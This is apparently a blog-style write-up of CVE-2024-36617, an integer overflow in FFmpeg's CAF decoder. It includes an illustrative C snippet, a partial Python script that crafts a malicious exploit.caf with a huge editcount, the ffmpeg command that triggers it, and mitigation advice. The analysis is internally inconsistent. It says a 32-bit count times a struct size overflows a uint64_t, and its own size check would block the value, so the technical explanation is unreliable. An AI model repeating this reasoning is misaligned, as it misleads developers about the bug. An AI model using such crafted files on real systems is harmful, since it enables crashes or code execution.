CVE-2024-36617 - Exploiting Integer Overflow in FFmpeg’s CAF Decoder (n6.1.1)

In June 2024, a new vulnerability CVE-2024-36617 was disclosed in FFmpeg version n6.1.1. The vulnerability is an integer overflow found in the CAF (Core Audio Format) decoder. FFmpeg is a core tool used by media apps, streaming services, and platforms worldwide to handle audio and video.

Let’s break down what this vulnerability means, how it works, and demonstrate a simple exploitation scenario.

What’s The Problem?

FFmpeg’s CAF decoder processes Core Audio Format files. There’s an arithmetic bug in the code reading certain CAF file headers. With a specially crafted CAF file, a remote attacker can cause an integer overflow in memory allocation and buffer management. This corruption could potentially allow arbitrary code execution or cause FFmpeg to crash (DoS).

Vulnerable component: CAF audio decoder

- Type: Integer overflow → out-of-bounds write/read

Vulnerable Code Deep-Dive

The bug sits in the CAF parser, specifically during the handling of the edit count field in a CAF file header. Here’s an abstracted version of the problematic code (from cafdec.c):

// Simplified example for illustration
uint32_t editcount = avio_rb32(pb);          // Read edit count from CAF header
uint64_t editlist_size = editcount * sizeof(EditList);

if (editlist_size > MAX_ALLOC_SIZE)          // 1. Check for oversize
    return AVERROR_INVALIDDATA;              // 2. Return error

EditList *editlist = av_malloc(editlist_size); // 3. Allocate memory

if (!editlist)
    return AVERROR(ENOMEM);
// [ ... later code uses editlist ... ]

What can go wrong?
If editcount is high enough, performing editcount * sizeof(EditList) overflows the uint64_t, allocating less memory than needed. Then the code writes past the buffer, leading to heap corruption.

Exploiting the Integer Overflow

Let’s walk through how an attacker could use this bug.

1. Build the Malicious CAF File

The attacker crafts a .caf file with a bogus, huge editcount field—one that wraps around the allocation math.

Malicious header (Python script)

# Generates a CAF header where editcount * sizeof(EditList) overflows
caf_header = b'caff'                   # Magic
caf_header += b'\x00\x01\x00\x00'      # Version
caf_header += b'desc'                  # Desc chunk
caf_header += ...                      # [add rest of typical desc]
caf_header += b'pakt'                  # Packet Table chunk
caf_header += ...                      # [rest of fields]
caf_header += b'edit'                  # Edit chunk magic
caf_header += b'\x00\x00\x00\x08'      # Chunk size (8 bytes for editcount)
caf_header += b'\xFF\xFF\xFF\xFF'      # editcount: 4294967295 (large)
# [rest of payload]
with open('exploit.caf', 'wb') as f:
    f.write(caf_header)

When a victim (or an automated pipeline) runs

ffmpeg -i exploit.caf output.wav

FFmpeg attempts to allocate editcount * sizeof(EditList) bytes, but size wraps around 32/64 bits, giving a small buffer, then overflows the buffer when parsing the 'edits', overwriting heap metadata or adjacent memory.

Potential Impact

- Remote Code Execution (RCE): With enough heap shaping, an attacker may be able to hijack control flow during heap management.
- Denial of Service (DoS): In many cases, this will just crash FFmpeg (null deref or heap corruption).
- Security Bypass: Media platforms that auto-ingest user files could give remote attackers direct access to the system memory.

References (Original Disclosures)

- NVD - CVE-2024-36617 Detail
- FFmpeg Commit - Fix for CAF Decoder Integer Overflow (GitHub)
- FFmpeg Bug Report #10521 (CAF editcount overflow)

Mitigation

Upgrade Now!
If you use FFmpeg to handle media, upgrade to FFmpeg n6.1.2 or later, where bounds checks are fixed.

Conclusion

CVE-2024-36617 is a good reminder that complex media formats and infinite trust in file headers bring hidden dangers. If you host or process user media, review your update policies and stay on top of upstream patches.

Stay safe and keep your FFmpeg up-to-date!

*If you found this post helpful, follow for future vulnerability deep-dives in real-world software. Have questions? Drop them below!*

Timeline

Published on: 11/29/2024 18:15:07 UTC
Last modified on: 12/02/2024 18:15:10 UTC